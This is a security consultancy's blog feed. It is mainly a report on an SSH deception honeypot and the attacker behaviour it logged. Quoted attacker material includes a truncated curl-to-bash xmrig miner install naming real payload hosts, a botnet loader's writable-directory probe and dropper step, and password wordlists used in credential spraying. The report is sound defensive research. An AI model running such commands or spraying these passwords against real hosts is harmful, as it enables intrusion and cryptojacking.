<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://marionette.in/feed.xml" rel="self" type="application/atom+xml" /><link href="https://marionette.in/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-05-11T17:13:18+00:00</updated><id>https://marionette.in/feed.xml</id><title type="html">Marionette Consulting</title><subtitle>Offensive security consultancy based in New Delhi. Penetration testing, red teaming, vulnerability research, detection engineering, audit readiness, and technical training.</subtitle><entry><title type="html">Our experiments with an SSH deception environment</title><link href="https://marionette.in/blog/2026/05/ssh-deception-environment/" rel="alternate" type="text/html" title="Our experiments with an SSH deception environment" /><published>2026-05-11T00:00:00+00:00</published><updated>2026-05-11T00:00:00+00:00</updated><id>https://marionette.in/blog/2026/05/ssh-deception-environment</id><content type="html" xml:base="https://marionette.in/blog/2026/05/ssh-deception-environment/"><![CDATA[<p>Over the last month, we have been experimenting with designing and deploying an SSH deception environment meant to waste attacker resources. This is not a traditional tarpit like <a href="https://github.com/skeeto/endlessh">endlessh</a>, which sends an endless, random SSH banner. Instead, our approach tries to waste as much attacker time as possible by convincing them the machine they’ve accessed has data worth exfiltrating.</p>

<p>Going in, we were aware that such environments are tempting as targets only when placed within believable infrastructure. However, we were also interested in seeing how attackers would engage with our “machine” when deployed as a standalone instance within a public cloud. Our interest here was to profile post-authentication attacker behaviour.</p>

<h2 id="environment-design">Environment design</h2>

<p>We built this version of our environment in Python on top of <code class="language-plaintext highlighter-rouge">asyncssh</code>. The “machine” presents itself as <code class="language-plaintext highlighter-rouge">OpenSSH_8.9p1 Ubuntu-3ubuntu0.6</code> to blend in with a typical cloud Linux host. When a connection arrives, the server logs the source IP and time. The attacker (peer) then interacts with our environment at the following three layers:</p>

<h3 id="1-authentication">1. Authentication</h3>

<p>Instead of accepting any supplied credential — which we thought might inform attackers that they’re interacting with a tarpit or honeypot — we track every distinct credential pair (username, password) a peer tries and tie it to their source IP.</p>

<blockquote>
  <p><strong>Note:</strong> We deliberately did not use SSH public-key fingerprints as an identifier here, because those only exist when an attacker chooses to attempt public-key authentication, which most do not.</p>
</blockquote>

<p>For each source IP, we pick a random integer N between 1 and 3. The Nth distinct credential pair the attacker submits is accepted and locked. From that point on, that exact pair always succeeds, and any other pair always fails. Re-trying a previously failed pair never works either, so an attacker who tried <code class="language-plaintext highlighter-rouge">root/root</code> first will continue to be told <code class="language-plaintext highlighter-rouge">root/root</code> is wrong forever. The intention behind this is to make it harder for bots to discern that this is a honeypot, while still allowing some attempts to reach the shell so that we can observe post-authentication behaviour.</p>

<p>Public-key authentication attempts are rejected, forcing clients to fall back to password authentication, though we do log offered key fingerprints.</p>

<h3 id="2-virtual-filesystem">2. Virtual filesystem</h3>

<p>Once an attacker has authenticated, they land in a fake shell backed by a lazy, deterministic, infinite virtual filesystem. There is no on-disk state. Every directory listing is regenerated on demand by hashing <code class="language-plaintext highlighter-rouge">(global_seed, path)</code> and sampling from corpora of plausible filenames — lure files, English dictionary words, and entries from the SecLists <code class="language-plaintext highlighter-rouge">raft-large-files.txt</code> web-content wordlist. Files do not exist until something asks for them, and their contents are produced by lure/bloat generators.</p>

<p>The filesystem has two noteworthy properties.</p>

<ul>
  <li>First, the same path always yields the same listing for the lifetime of a seed, so an attacker who runs <code class="language-plaintext highlighter-rouge">ls</code> twice sees a stable world.</li>
  <li>Second, every directory has children, with no bottom to recursion, so an attacker running <code class="language-plaintext highlighter-rouge">find /</code> or <code class="language-plaintext highlighter-rouge">tar czf loot.tgz /</code> is committing to an infinite walk.</li>
</ul>

<h3 id="3-shell">3. Shell</h3>

<p>A command dispatcher implements a minimal Linux userland with <code class="language-plaintext highlighter-rouge">ls</code>, <code class="language-plaintext highlighter-rouge">cat</code>, <code class="language-plaintext highlighter-rouge">cd</code>, <code class="language-plaintext highlighter-rouge">find</code>, <code class="language-plaintext highlighter-rouge">grep</code>, <code class="language-plaintext highlighter-rouge">ps</code>, <code class="language-plaintext highlighter-rouge">uname</code>, <code class="language-plaintext highlighter-rouge">apt</code>, <code class="language-plaintext highlighter-rouge">curl</code>, and so on. Output is throttled to a configurable bandwidth (default 300 B/s), so that “exfiltration” is slow, even when the attacker succeeds in reading a supposed “credentials” file. Cycle and bloat traps punish recursive tools by yielding lure files that expand without termination.</p>

<figure class="prose-video">
  <video src="/assets/ssh-deception/lures.mp4" poster="/assets/ssh-deception/lures-poster.jpg" controls="" loop="" muted="" playsinline="" preload="none" aria-label="Recording of lure files generated by the fake shell"></video>
</figure>

<p>Interactions are logged as structured JSON output keyed on source IP, so that connection lifecycles, credential pairs tried, commands executed, and paths walked can be reconstructed offline.</p>

<h2 id="our-experiment">Our experiment</h2>

<p>We deployed our deception environment on a single public-cloud instance with no advertised infrastructure around it. Over roughly three weeks we logged around 181,000 events, 47,000 closed connections, and 26,000 captured credential pairs on port 22. We explore some findings from our experiment below.</p>

<p>ASN, geolocation, and hostname data referenced from here on (both in the tables and in the per-IP popovers reachable via the <em>(i)</em> button next to each address) was pulled using <a href="https://ipinfo.io">ipinfo.io</a> at the time of writing.</p>

<h3 id="crypto-flavoured-targeting">Crypto-flavoured targeting</h3>

<p>The username distribution is largely what one would expect from a public-cloud credential spray. <code class="language-plaintext highlighter-rouge">root</code> is at the top, followed by the familiar admin and service accounts <code class="language-plaintext highlighter-rouge">admin</code>, <code class="language-plaintext highlighter-rouge">user</code>, <code class="language-plaintext highlighter-rouge">ubuntu</code>, <code class="language-plaintext highlighter-rouge">ansible</code>, <code class="language-plaintext highlighter-rouge">oracle</code>, <code class="language-plaintext highlighter-rouge">postgres</code>, <code class="language-plaintext highlighter-rouge">hadoop</code>, <code class="language-plaintext highlighter-rouge">mysql</code>. The chart below ranks the top 40 usernames by total authentication attempts.</p>

<div class="username-viz" data-src="/assets/ssh-deception/usernames.json" aria-label="Ranked bar chart of the top 40 usernames attempted, sized by count"></div>

<p>We also observed the usernames <code class="language-plaintext highlighter-rouge">sol</code>, <code class="language-plaintext highlighter-rouge">solv</code>, and <code class="language-plaintext highlighter-rouge">solana</code>, which together account for 780 attempts. These appear alongside lower-volume names like <code class="language-plaintext highlighter-rouge">validator</code> (53), <code class="language-plaintext highlighter-rouge">ethereum</code> (42), <code class="language-plaintext highlighter-rouge">trader</code> (42), and <code class="language-plaintext highlighter-rouge">node</code> (82) and appear to be targeting hosted software for the Solana and Ethereum cryptocurrencies respectively.</p>

<p>Two peers (<span class="ip">5.75.203.70</span> and <span class="ip">5.75.200.1</span>) successfully authenticated as root and ran <code class="language-plaintext highlighter-rouge">curl … xmrig_setup … bash -s …</code> with Monero wallet addresses inline. The first peer used wallet <code class="language-plaintext highlighter-rouge">45X8Lw…ZL18a1eo</code> against the <code class="language-plaintext highlighter-rouge">download.c3pool.org</code> <code class="language-plaintext highlighter-rouge">xmrig_setup</code> installer. The second peer used wallet <code class="language-plaintext highlighter-rouge">43SWag…GApPGr1P</code> against an installer hosted at the <a href="https://github.com/ApexDms/pv">github.com/ApexDms/pv</a> repository (<code class="language-plaintext highlighter-rouge">pool9.sh</code>).</p>

<blockquote>
  <p><strong>Note:</strong> The GitHub account is still live at the time of writing and should be treated as an active indicator of compromise. Both wallets in full, alongside the installer URLs, are released in <code class="language-plaintext highlighter-rouge">payload_iocs.txt</code>.</p>
</blockquote>

<h3 id="llm-flavoured-targeting">LLM-flavoured targeting</h3>

<p>A peer at <span class="ip">45.156.87.99</span> cycled through LLM-flavoured credentials, <code class="language-plaintext highlighter-rouge">chatgpt/chatgpt</code>, <code class="language-plaintext highlighter-rouge">claude/claude123</code>, and <code class="language-plaintext highlighter-rouge">gpt/gpt</code> on April 21. As far as we know, these credential pairs do not currently appear in popular lists.</p>

<h3 id="localised-wordlist-sprays">Localised wordlist sprays</h3>

<p>For most of the deployment, password sprays against root looked the same as they have for a decade. We observed attempts for <code class="language-plaintext highlighter-rouge">123456</code>, <code class="language-plaintext highlighter-rouge">admin</code>, <code class="language-plaintext highlighter-rouge">root</code>, <code class="language-plaintext highlighter-rouge">P@ssw0rd</code>, and the occasional <code class="language-plaintext highlighter-rouge">1qaz@WSX</code>. However, we also observed localised wordlists targeting our environment.</p>

<p>Between April 22 and May 1, peer <span class="ip">172.83.83.85</span> made 3,483 password attempts against root, with 3,340 unique passwords. The very first password was <code class="language-plaintext highlighter-rouge">India@123</code>. The corpus that followed appears to have been constructed with common Indian first names, surnames, and other nouns:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Aarav@123    Vivaan@123    Aditya@123    Vihaan@123
Krishna@123  Ishaan@123    Rohan@123     Karan@123
Manav@123    Yash@123      Aryan@123     Raghav@123
Nikhil@123   Kunal@123     Siddharth@123 Pranav@123
Varun@123    Tejas@123     Vikram@123    Mihir@123
Naveen@123   Deepak@123    Vivek@123     Sameer@123
Ramesh@123   Gaurav@123    Sanjay@123    Piyush@123
Harshit@123  Ravi@123      ...
</code></pre></div></div>

<p>The peer cycled a password corpus made up of the following variations: <code class="language-plaintext highlighter-rouge">Name@123</code>, <code class="language-plaintext highlighter-rouge">Name@1234</code>, <code class="language-plaintext highlighter-rouge">Name123</code>, and <code class="language-plaintext highlighter-rouge">Name1234</code>. The rough split of the 3,340 unique entries is below:</p>

<table>
  <thead>
    <tr>
      <th>Variant</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Name@123</td>
      <td>1,359</td>
    </tr>
    <tr>
      <td>Name@1234</td>
      <td>472</td>
    </tr>
    <tr>
      <td>Name123</td>
      <td>659</td>
    </tr>
    <tr>
      <td>Name1234</td>
      <td>3</td>
    </tr>
    <tr>
      <td>Other (no Name@N pattern)</td>
      <td>847</td>
    </tr>
  </tbody>
</table>

<p>The 847-entry residual is dominated by leetspeak variations on <code class="language-plaintext highlighter-rouge">admin</code> and <code class="language-plaintext highlighter-rouge">password</code> as bases, with numeric and special-character substitutions like <code class="language-plaintext highlighter-rouge">P@$$w0rd1234!</code>, <code class="language-plaintext highlighter-rouge">Adm1n2019!</code>, and <code class="language-plaintext highlighter-rouge">Password.1234</code>.</p>

<p><span class="ip">172.83.83.85</span>, the peer responsible for these attempts, sits inside AS1037 operated by RackBank Datacenters Pvt. Ltd. in Indore, Madhya Pradesh, and was by far the loudest user of this style. It was not the only one, however. Another peer, <span class="ip">139.59.30.229</span>, a DigitalOcean droplet in Karnataka, ran a smaller version of the same pattern, mixing Indian first names like <code class="language-plaintext highlighter-rouge">Bhuvan@123</code>, <code class="language-plaintext highlighter-rouge">Ganesh@123</code>, <code class="language-plaintext highlighter-rouge">Rakesh@123</code>, and <code class="language-plaintext highlighter-rouge">Salman@123</code> into an otherwise generic credential dictionary.</p>

<p>It is worth highlighting that our environment was also deployed within DigitalOcean’s Bangalore IP range. We did not observe a comparable cluster for any other locale, though we expect that we might have, had we deployed our environment in another region.</p>

<h3 id="research-traffic">Research traffic</h3>

<p>One of the more disciplined peers we observed was an Internet measurement collection server (<span class="ip">139.19.117.130</span>) from the Max Planck Institute for Informatics. Across the fourteen-day window we observed it, it connected 107 times and made 210 public-key authentication attempts across 68 distinct keys. Password authentication was not attempted by this peer.</p>

<h3 id="our-longest-hold">Our longest hold</h3>

<p>Moving past authentication, the longest connection we held, 61.3 hours from <span class="ip">165.245.178.73</span> (DigitalOcean), was a stuck client. The peer made two authentication attempts in the first 30 seconds, both of which failed, and then sat idle for two and a half days until the kernel TCP timeout finally tore the socket down.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"component"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tarpit"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165.245.178.73"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer_port"</span><span class="p">:</span><span class="w"> </span><span class="mi">55206</span><span class="p">,</span><span class="w"> </span><span class="nl">"client_version"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w"> </span><span class="nl">"active"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"connection_open"</span><span class="p">,</span><span class="w"> </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="s2">"info"</span><span class="p">,</span><span class="w"> </span><span class="nl">"ts"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-28T00:31:54.980278Z"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"component"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tarpit"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165.245.178.73"</span><span class="p">,</span><span class="w"> </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w"> </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"auth_begin"</span><span class="p">,</span><span class="w"> </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="s2">"info"</span><span class="p">,</span><span class="w"> </span><span class="nl">"ts"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-28T00:31:58.564248Z"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"component"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tarpit"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165.245.178.73"</span><span class="p">,</span><span class="w"> </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w"> </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"kbdint"</span><span class="p">,</span><span class="w"> </span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"adminroot"</span><span class="p">,</span><span class="w"> </span><span class="nl">"accepted"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nl">"reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">"attempt_1_of_3"</span><span class="p">,</span><span class="w"> </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"auth_attempt"</span><span class="p">,</span><span class="w"> </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="s2">"info"</span><span class="p">,</span><span class="w"> </span><span class="nl">"ts"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-28T00:32:02.023393Z"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"component"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tarpit"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165.245.178.73"</span><span class="p">,</span><span class="w"> </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w"> </span><span class="nl">"method"</span><span class="p">:</span><span class="w"> </span><span class="s2">"kbdint"</span><span class="p">,</span><span class="w"> </span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"adminroot"</span><span class="p">,</span><span class="w"> </span><span class="nl">"accepted"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nl">"reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">"already_tried"</span><span class="p">,</span><span class="w"> </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"auth_attempt"</span><span class="p">,</span><span class="w"> </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="s2">"info"</span><span class="p">,</span><span class="w"> </span><span class="nl">"ts"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-28T00:32:23.772219Z"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"component"</span><span class="p">:</span><span class="w"> </span><span class="s2">"tarpit"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165.245.178.73"</span><span class="p">,</span><span class="w"> </span><span class="nl">"peer_port"</span><span class="p">:</span><span class="w"> </span><span class="mi">55206</span><span class="p">,</span><span class="w"> </span><span class="nl">"duration_s"</span><span class="p">:</span><span class="w"> </span><span class="mf">220623.934</span><span class="p">,</span><span class="w"> </span><span class="nl">"error"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ConnectionLost('Connection lost')"</span><span class="p">,</span><span class="w"> </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"connection_close"</span><span class="p">,</span><span class="w"> </span><span class="nl">"level"</span><span class="p">:</span><span class="w"> </span><span class="s2">"info"</span><span class="p">,</span><span class="w"> </span><span class="nl">"ts"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2026-04-30T13:48:58.914464Z"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This was very clearly an outlier, as the rest of our long-running connections cluster at around 2 hours, also without any recorded interactions. The actual interactive sessions we observed were in the one-to-thirty-minute range, and far fewer in number.</p>

<h3 id="interactive-shell-sessions">Interactive shell sessions</h3>

<p>In these instances, the peer opens a channel and asks for a PTY + shell.</p>

<table>
  <thead>
    <tr>
      <th>Peer</th>
      <th>Sessions</th>
      <th>Cumulative</th>
      <th>Longest</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>95.85.251.190 (Helsinki, FI — AS201988 VPSPay)</td>
      <td>9</td>
      <td>748.4s (~12.5min)</td>
      <td>650.6s</td>
    </tr>
    <tr>
      <td>5.75.203.70 (Nürnberg, DE — AS24940 Hetzner)</td>
      <td>5</td>
      <td>730.1s (~12.2min)</td>
      <td>473.4s</td>
    </tr>
    <tr>
      <td>202.166.207.233 (Kathmandu, NP — AS17501 WorldLink)</td>
      <td>2</td>
      <td>45.3s</td>
      <td>43.9s</td>
    </tr>
    <tr>
      <td>5.75.200.1 (Nürnberg, DE — AS24940 Hetzner)</td>
      <td>4</td>
      <td>43.7s</td>
      <td>18.6s</td>
    </tr>
    <tr>
      <td>117.72.175.151 (Tianjin, CN — AS141679 China Telecom)</td>
      <td>3</td>
      <td>43.0s</td>
      <td>15.8s</td>
    </tr>
    <tr>
      <td>129.204.16.133 (Guangzhou, CN — AS45090 Tencent)</td>
      <td>1</td>
      <td>19.6s</td>
      <td>19.6s</td>
    </tr>
    <tr>
      <td>36.64.131.10 (Surabaya, ID — AS7713 Telkom Indonesia)</td>
      <td>2</td>
      <td>13.7s</td>
      <td>13.1s</td>
    </tr>
    <tr>
      <td>213.21.239.4 (Amsterdam, NL — AS211443 Sino Worldwide Trading)</td>
      <td>1</td>
      <td>13.4s</td>
      <td>13.4s</td>
    </tr>
  </tbody>
</table>

<h3 id="non-interactive-command-execution">Non-interactive command execution</h3>

<p>In these instances, the peer opens a channel and instead of asking for a shell, sends a single command via SSH’s <code class="language-plaintext highlighter-rouge">exec</code> request, like <code class="language-plaintext highlighter-rouge">ssh user@host 'uname -a'</code>.</p>

<table>
  <thead>
    <tr>
      <th>Peer</th>
      <th>Conns</th>
      <th>Exec cmds</th>
      <th>Cumulative</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>103.49.129.154 (Noida, IN — AS153786 Serverstep)</td>
      <td>3</td>
      <td>104</td>
      <td>2,686s (~45min)</td>
    </tr>
    <tr>
      <td>86.38.24.201 (Bucharest, RO — AS214208 Elisteka)</td>
      <td>1</td>
      <td>3</td>
      <td>1,832s (~30min)</td>
    </tr>
    <tr>
      <td>175.199.7.55 (Goseong, KR — AS4766 Korea Telecom)</td>
      <td>1</td>
      <td>3</td>
      <td>1,448s</td>
    </tr>
    <tr>
      <td>43.160.206.89 (Singapore, SG — AS132203 Tencent)</td>
      <td>1</td>
      <td>4</td>
      <td>920s</td>
    </tr>
    <tr>
      <td>80.113.20.70 (Eindhoven, NL — AS33915 Vodafone Libertel)</td>
      <td>1</td>
      <td>3</td>
      <td>784s</td>
    </tr>
    <tr>
      <td>5.75.203.70 (Nürnberg, DE — AS24940 Hetzner)</td>
      <td>3</td>
      <td>13</td>
      <td>527s</td>
    </tr>
    <tr>
      <td>45.156.87.209 (Hopel, NL — AS51396 Pfcloud)</td>
      <td>1</td>
      <td>35</td>
      <td>422s</td>
    </tr>
    <tr>
      <td>117.50.130.63 (Beijing, CN — AS23724 China Telecom IDC)</td>
      <td>1</td>
      <td>1</td>
      <td>390s</td>
    </tr>
    <tr>
      <td>86.38.24.97 (Bucharest, RO — AS214208 Elisteka)</td>
      <td>1</td>
      <td>13</td>
      <td>325s</td>
    </tr>
    <tr>
      <td>103.192.199.168 (Indore, IN — AS59187 Neevai Supercloud)</td>
      <td>3</td>
      <td>105</td>
      <td>148s</td>
    </tr>
    <tr>
      <td>2.57.122.238 (Timișoara, RO — AS47890 Unmanaged Ltd)</td>
      <td>20</td>
      <td>137</td>
      <td>91s</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> Times shown are full SSH connection durations (close − open), not per-command execution times. A single connection running many commands contributes one duration to the totals.</p>
</blockquote>

<h3 id="confused-botnet-workers">Confused botnet workers</h3>

<p>34 distinct peers spread across networks in North America, Europe, and Asia, used the password <code class="language-plaintext highlighter-rouge">!n=nOcdoa#@dbhl</code> against the user <code class="language-plaintext highlighter-rouge">kube</code>. These peers ran the same loader sequence, which involved picking a writable temporary directory, counting CPUs, then writing a worker script and persisting it via crontab.</p>

<p>The loader’s first command was:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sh <span class="nt">-c</span> <span class="s1">'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2&gt;/dev/null &amp;&amp; pwd &amp;&amp; break; done'</span>
</code></pre></div></div>

<p>In a real shell, this prints the first writable directory. In our fake shell, neither <code class="language-plaintext highlighter-rouge">sh</code>, <code class="language-plaintext highlighter-rouge">do</code>, nor <code class="language-plaintext highlighter-rouge">done</code> are recognised commands, so we returned four lines of <code class="language-plaintext highlighter-rouge">bash: &lt;cmd&gt;: command not found</code> plus a stray <code class="language-plaintext highlighter-rouge">/home/kube</code>. The loader’s next command interpreted that output as the new working directory:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="s2">"bash: sh: command not found
bash: do: command not found
/home/kube
bash: break: command not found
bash: done': command not found"</span> <span class="o">&amp;&amp;</span> <span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="s2">"w.sh"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span><span class="nb">cat</span> <span class="o">&gt;</span> <span class="s2">"w.sh"</span> ...
</code></pre></div></div>

<p>The kube-botnet sessions that reached the <code class="language-plaintext highlighter-rouge">cat &gt; w.sh</code> redirect step crashed with <code class="language-plaintext highlighter-rouge">ProtocolError("'utf-8' codec can't decode byte 0xa0 in position 24")</code>, with the bots’ attempts at piping an ELF payload into a <code class="language-plaintext highlighter-rouge">cat &gt;</code> redirect failing.</p>

<h2 id="limitations">Limitations</h2>

<p>The premise we wanted to test — that we could draw in a real attacker and convincingly waste their time inside a deception environment — was not sufficiently tested. We instead saw opportunistic wordlist attacks against common user and service accounts, and minimal interaction with our virtual filesystem after successful authentication.</p>

<p>Targeted attackers usually do not SSH into random IPs within public cloud environments. We also did not surround our instance with the kind of believable infrastructure that would make it a tempting next hop. We anticipated this going in, and find the results to still be useful for observing opportunistic post-authentication behaviour, however, this is not the deception experiment we eventually want to run.</p>

<p>We also encountered a bug during our deployment. <code class="language-plaintext highlighter-rouge">AttributeError: module 'asyncssh' has no attribute 'SoftEOFReceived'</code> fired eight times, mostly in the kube-botnet sessions where the bot pushed an EOF after its <code class="language-plaintext highlighter-rouge">cat &gt;</code> redirect. The shell handler caught it as a generic session crash and closed the channel, so the attacker only saw a disconnect. This is not ideal for holding sessions for as long as possible, and is worth fixing.</p>

<h2 id="conclusion">Conclusion</h2>

<p>For our next iteration, we plan to address both limitations.</p>

<ul>
  <li>First, we are going to drop the environment into a context that appears as close as possible to real infrastructure, so that a targeted attacker’s engagement with our environment is driven by the sense of a payoff.</li>
  <li>Second, and more interestingly, we want to swap the lazy, deterministic virtual filesystem for an actual filesystem.</li>
</ul>

<p>As it stands, the virtual filesystem is implausible and should not hold up to scrutiny of an attacker with a basic understanding of the command line. Some lazy choices were made, like the hardcoded date and time of <code class="language-plaintext highlighter-rouge">Apr 9 12:34</code>, which break believability further.</p>

<p>A real, interactable filesystem pre-seeded with synthesised content is the obvious approach around this. It should also hold up better against a patient human attacker, letting us observe which lures they actually open and which ones they ignore. We expect to give up the infinite recursion trick in exchange, but that is acceptable to us.</p>

<h2 id="what-we-are-releasing">What we are releasing</h2>

<p>Alongside this writeup, we are publishing the raw artefacts we relied on.</p>

<p>Everything below is observational data from a single instance over roughly three weeks. We did not expect to be releasing a threat report as part of our experiment, and therefore none of the data provided is curated or attributed beyond what is indicated by the logs.</p>

<ul>
  <li><strong><a href="/data/ssh-report/peers.tsv"><code class="language-plaintext highlighter-rouge">peers.tsv</code></a></strong> — 386 source IP addresses that issued at least one SSH authentication attempt against our environment, where each row carries the peer’s total attempt count, how many were accepted under our credential-locking scheme, the number of distinct usernames tried, the methods used (<code class="language-plaintext highlighter-rouge">password</code>, <code class="language-plaintext highlighter-rouge">kbdint</code>, <code class="language-plaintext highlighter-rouge">publickey</code>), and first- and last-seen UTC timestamps.</li>
  <li><strong><a href="/data/ssh-report/credential_pairs.tsv"><code class="language-plaintext highlighter-rouge">credential_pairs.tsv</code></a></strong> — 25,980 distinct <code class="language-plaintext highlighter-rouge">(username, password)</code> pairs we observed on the password and keyboard-interactive paths, sorted by frequency.</li>
  <li><strong><a href="/data/ssh-report/wordlist_indian_names.txt"><code class="language-plaintext highlighter-rouge">wordlist_indian_names.txt</code></a></strong> — the full chronological 3,483-entry wordlist from 172.83.83.85 (the RackBank/Indore peer), released as a clean reference corpus for anyone studying localisation of wordlists.</li>
  <li><strong><a href="/data/ssh-report/payload_iocs.txt"><code class="language-plaintext highlighter-rouge">payload_iocs.txt</code></a></strong> — eight payload-fetch URLs, the <code class="language-plaintext highlighter-rouge">ApexDms/pv</code> GitHub repository, and two Monero wallet addresses observed inline in <code class="language-plaintext highlighter-rouge">xmrig_setup</code> invocations.</li>
  <li><strong><a href="/data/ssh-report/raw_exec_corpus.txt"><code class="language-plaintext highlighter-rouge">raw_exec_corpus.txt</code></a></strong> — the 1,488 raw SSH <code class="language-plaintext highlighter-rouge">exec_command</code> requests we received (excluding our own test traffic).</li>
</ul>]]></content><author><name></name></author><summary type="html"><![CDATA[An incidental threat report from three weeks of running an SSH deception environment on a public-cloud IP. 26,000 captured credential pairs, localised Indian-name wordlists, crypto-targeted usernames, xmrig IOCs, and confused kube botnets.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://marionette.in/assets/ssh-deception/social_card.png" /><media:content medium="image" url="https://marionette.in/assets/ssh-deception/social_card.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hello world</title><link href="https://marionette.in/blog/2026/04/welcome/" rel="alternate" type="text/html" title="Hello world" /><published>2026-04-26T00:00:00+00:00</published><updated>2026-04-26T00:00:00+00:00</updated><id>https://marionette.in/blog/2026/04/welcome</id><content type="html" xml:base="https://marionette.in/blog/2026/04/welcome/"><![CDATA[<p>This is no longer a single page website! We’ll write here when there’s something worth saying.</p>

<p>We expect to write about our experiments and interesting vulnerabilities we discover.</p>

<p>An RSS <a href="/feed.xml">feed</a> is available. Newsletter subscription will be available soon.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Marionette Consulting's blog is live. We'll write here about our experiments and interesting vulnerabilities we discover.]]></summary></entry></feed>